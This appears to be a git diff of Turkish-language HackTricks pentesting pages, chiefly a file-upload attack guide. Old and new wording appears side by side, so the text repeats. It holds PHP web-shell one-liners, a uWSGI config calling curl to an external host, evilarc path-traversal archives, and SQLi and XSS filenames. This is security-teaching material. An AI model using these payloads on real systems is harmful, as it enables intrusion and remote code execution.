* **DOM Proxying**: Eğer confluence özel bir ağ içindeyse, buna erişimi olan bir kullanıcının tarayıcısı aracılığıyla bir bağlantı kurmak ve örneğin sunucu komutunu çalıştırmak mümkündür.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -145,7 +145,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repolarına PR gönderin.**
* **Hacking ipuçlarını paylaşarak [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repolarına PR gönderin.**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Dosya Yükleme
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -37,10 +37,10 @@ Diğer yararlı uzantılar:
### Dosya uzantısı kontrollerini atlatma
1. Eğer uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi** kontrol edin (önceki uzantıları da kullanın):_
* _file.png.php_
* _file.png.Php5_
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -59,19 +59,19 @@ Diğer yararlı uzantılar:
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
5. Önceki kontrol için **bir başka uzantı katmanı** ekleyin:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmeyen her şey kod çalıştırır):
6. **Geçerli uzantıdan önce exec uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmeyen her şey kod çalıştırır):
* _ör: file.php.png_
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
7. **Windows**'da **NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin verdiğini. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Yükü oluştur
@ -80,40 +80,40 @@ AAA<--SNIP 232 A-->AAA.php.png
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_ , _text/plain , application/octet-stream_
* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya yükü doğrudan bir resme de **ekleyebilirsiniz**:\
`\` veya yükü doğrudan bir resme de **yerleştirebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan PLTE parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan IDAT parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan tEXt parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Diğer Kontrol Edilecek İpuçları
### Kontrol Edilecek Diğer İpuçları
* Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için).
* **Yerel Dosya Dahil Etme** zafiyetini bulmak için geri kapıyı çalıştırın.
* Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
* **Olası Bilgi sızıntısı**:
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
3. **“.”, “..” veya “…”** gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
5. **Windows**'ta **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”` adında. (Windows)
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
* Ayrıca **çalıştırılabilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin, bu dosya kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
3. **“.”, “..” veya “…”** gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de **Windows**'da, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
4. **NTFS**'de kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
5. **Windows**'da adında **geçersiz karakterler** bulunan bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
6. **Windows**'da **rezerv** (**yasaklı**) **adlar** ile bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
### Özel uzantı ipuçları
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** ipucuna bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** ipucuna bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi** kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
## **Jetty RCE**
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
Yükleme sırasında yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
## **wget Dosya Yükleme/SSRF Hilesi**
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -179,9 +179,9 @@ Not edin ki **başka bir seçenek** olarak bu kontrolü atlatmayı düşündüğ
## Araçlar
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) güçlü bir araçtır ve Pentester'lar ile Hata Avcıları'nın dosya yükleme mekanizmalarını test etmelerine yardımcı olmak için tasarlanmıştır. Çeşitli hata ödül tekniklerini kullanarak, zafiyetleri tanımlama ve istismar etme sürecini basitleştirir ve web uygulamalarının kapsamlı değerlendirmelerini sağlar.
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) Pentester'lar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmeye yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
## Dosya yüklemeden diğer zafiyetlere
## Dosya yüklemeden diğer güvenlik açıklarına
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
@ -192,9 +192,9 @@ Not edin ki **başka bir seçenek** olarak bu kontrolü atlatmayı düşündüğ
* [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
* [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yüklemeleri** deneyin.
* [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
* [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
* Eğer **web sunucusunu bir URL'den bir resmi yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
* [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
* [**XXE ve CORS** PDF-Adobe yüklemesi ile atlatma](pdf-upload-xxe-and-cors-bypass.md).
* XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
* Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Farklı klasörlerde aç
Açma işlemi sırasında dizinlerde dosyaların beklenmedik bir şekilde oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
Açma işlemi sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
```python
@ -246,7 +246,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Ayrıca, **evilarc ile symlink hilesi** bir seçenektir. Amaç `/flag.txt` gibi bir dosyayı hedef almaksa, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Ayrıca, **evilarc ile symlink hilesi** bir seçenektir. Hedef, `/flag.txt` gibi bir dosyayı hedef almaksa, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan bir Python kodu örneği bulunmaktadır:
```python
@ -268,7 +268,7 @@ create_zip()
```
**Sıkıştırmayı kötüye kullanarak dosya yayma**
Daha fazla ayrıntı için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Daha fazla detay için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılmıştır.
@ -312,7 +312,7 @@ Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-she
## Poliglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen kamuflajlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerine yüklemeye izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
@ -329,15 +329,15 @@ Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-f
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -345,7 +345,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
